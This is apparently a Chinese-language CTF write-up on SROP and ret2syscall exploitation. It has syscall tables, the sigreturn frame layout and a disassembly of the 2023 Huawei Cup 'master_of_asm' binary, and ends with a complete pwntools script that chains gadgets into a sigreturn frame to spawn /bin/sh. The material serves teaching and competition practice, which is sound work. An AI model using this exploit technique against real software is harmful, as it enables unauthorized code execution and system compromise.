SROP和ret2syscall

简介

华为杯被暴揍了,很多原本应该能想到的思路都没想到,所以特地记录一下。

起因是华为杯的master_of_asm题目,思想是srop。

ret2syscall

  • 如果代码中可以返回到syscall的话,就可以做这个。
  • 下面列出比较多用的系统函数调用号和寄存器:

64位:

64位利用rax传调用号,传参用rdi,rsi,rdx

32位:

32位利用eax调用系统号,传参分别用ebx,ecx,edx,esi,edi

rax/eaxsyscallrdi/ebxrsi/ecxrdx/edx
0/3sys_readfdbufcount
1/4sys_writefd*bufcount
2/5sys_openfilenameflagsmode
3/6sys_closefd
15/173sys_rt_signreturnnull
59/11sys_execvefilenameargv[]envp[]

srop

这个链利用的原理是使用re_sigreturn可以重建所有的寄存器,而且值全部都是存在栈里面的。

需要调用syscall;ret;

addr+0x00+0x08+0x10+0x18
0x00rt_sigreturn()uc_flags&ucuc_stack.ss_sp
0x20uc_stack.ss_flagsuc_stack.ss_sizer8r9
0x40r10r11r12r13
0x60r14r15rdirsi
0x80rbprbxrdxrax
0xa0rcxrspripeflags
0xc0cs/gs/fserrtrapnooldmask
0xe0cr2&fpstate__reservedsigmask

这里有一个技巧,如果srop想要多次执行的话,可以改变rsp的地址到下一个sigframe链上,这样它在rip再进行syscall时就会产生一连串的链了。

pwntools里面的工具

在pwntools中有srop专用的框架工具。

context.arch = 'i386' #32
context.arch = 'amd64'#64
frame = SigreturnFrame(kernel='amd64')
frame.rax = 0

SROP样题

参考2023华为杯中的master_of_asm

首先看一下汇编,很简单:

.text:0000000000401000                               ; signed __int64 start()
.text:0000000000401000                               public _start
.text:0000000000401000                               _start proc near                        ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401000                                                                       ; LOAD:0000000000400088↑o
.text:0000000000401000 B8 01 00 00 00                mov     eax, 1
.text:0000000000401005 BF 01 00 00 00                mov     edi, 1                          ; fd
.text:000000000040100A 48 BE 00 20 40 00 00 00 00 00 mov     rsi, offset msg                 ; "Hello Pwn"
.text:0000000000401014 BA 09 00 00 00                mov     edx, 9                          ; count
.text:0000000000401019 0F 05                         syscall                                 ; LINUX - sys_write
.text:000000000040101B B8 00 00 00 00                mov     eax, 0
.text:0000000000401020 48 89 E6                      mov     rsi, rsp                        ; buf
.text:0000000000401023 BF 00 00 00 00                mov     edi, 0                          ; fd
.text:0000000000401028 BA 90 01 00 00                mov     edx, 190h                       ; count
.text:000000000040102D 0F 05                         syscall                                 ; LINUX - sys_read
.text:000000000040102F C3                            retn
.text:000000000040102F
.text:000000000040102F                               _start endp
.text:000000000040102F
.text:0000000000401030                               ; ---------------------------------------------------------------------------
.text:0000000000401030 48 D1 E0                      shl     rax, 1
.text:0000000000401033 C3                            retn
.text:0000000000401033
.text:0000000000401034                               ; ---------------------------------------------------------------------------
.text:0000000000401034 B9 01 00 00 00                mov     ecx, 1
.text:0000000000401039 48 31 C8                      xor     rax, rcx
.text:000000000040103C C3                            retn
.text:000000000040103C
.text:000000000040103D                               ; ---------------------------------------------------------------------------
.text:000000000040103D 48 31 C0                      xor     rax, rax
.text:0000000000401040 C3                            retn
.text:0000000000401040
.text:0000000000401040                               _text ends
.text:0000000000401040
.data:0000000000402000                               ; ===========================================================================
.data:0000000000402000
.data:0000000000402000                               ; Segment type: Pure data
.data:0000000000402000                               ; Segment permissions: Read/Write
.data:0000000000402000                               _data segment dword public 'DATA' use64
.data:0000000000402000                               assume cs:_data
.data:0000000000402000                               ;org 402000h
.data:0000000000402000                               ; char msg[]
.data:0000000000402000 48 65 6C 6C 6F 20 50 77 6E 00 msg db 'Hello Pwn',0                    ; DATA XREF: LOAD:00000000004000C0↑o
.data:0000000000402000                                                                       ; _start+A↑o
.data:000000000040200A 2F 62 69 6E 2F 73 68 00       sh db '/bin/sh',0
.data:000000000040200A                               _data ends
.data:000000000040200A                               end _start

所以只需要凑出sigreturn的参数,然后再进行一次寄存器重写到execve就可以了。

wp:

from pwn import *
context.terminal = ['tmux','splitw','-h']
context.log_level = "debug"
context.arch = "amd64"
io = process("./a.out")
xor_eax_eax = 0x40103e
shl_eax = 0x401031
xor_eax_ecx = 0x40103a
ecx_xor = 0x401034
syscall_ret = 0x40102D
# first, put rax as 0xf
payload =  p64(xor_eax_eax) + p64(ecx_xor) + p64(shl_eax) + p64(ecx_xor) + p64(shl_eax) + p64(ecx_xor)+ p64(shl_eax) + p64(ecx_xor)
# Then, return to system call
payload += p64(syscall_ret)
# Then, make the sigreturn 
bin_sh = 0x40200A
sig = SigreturnFrame(kernel = 'amd64')
sig.rax = 59
sig.rdi = bin_sh
sig.rsi = 0
sig.rdx = 0
sig.rip = syscall_ret
print(str(sig))
payload += eval(str(sig))
io.send(payload)
io.interactive()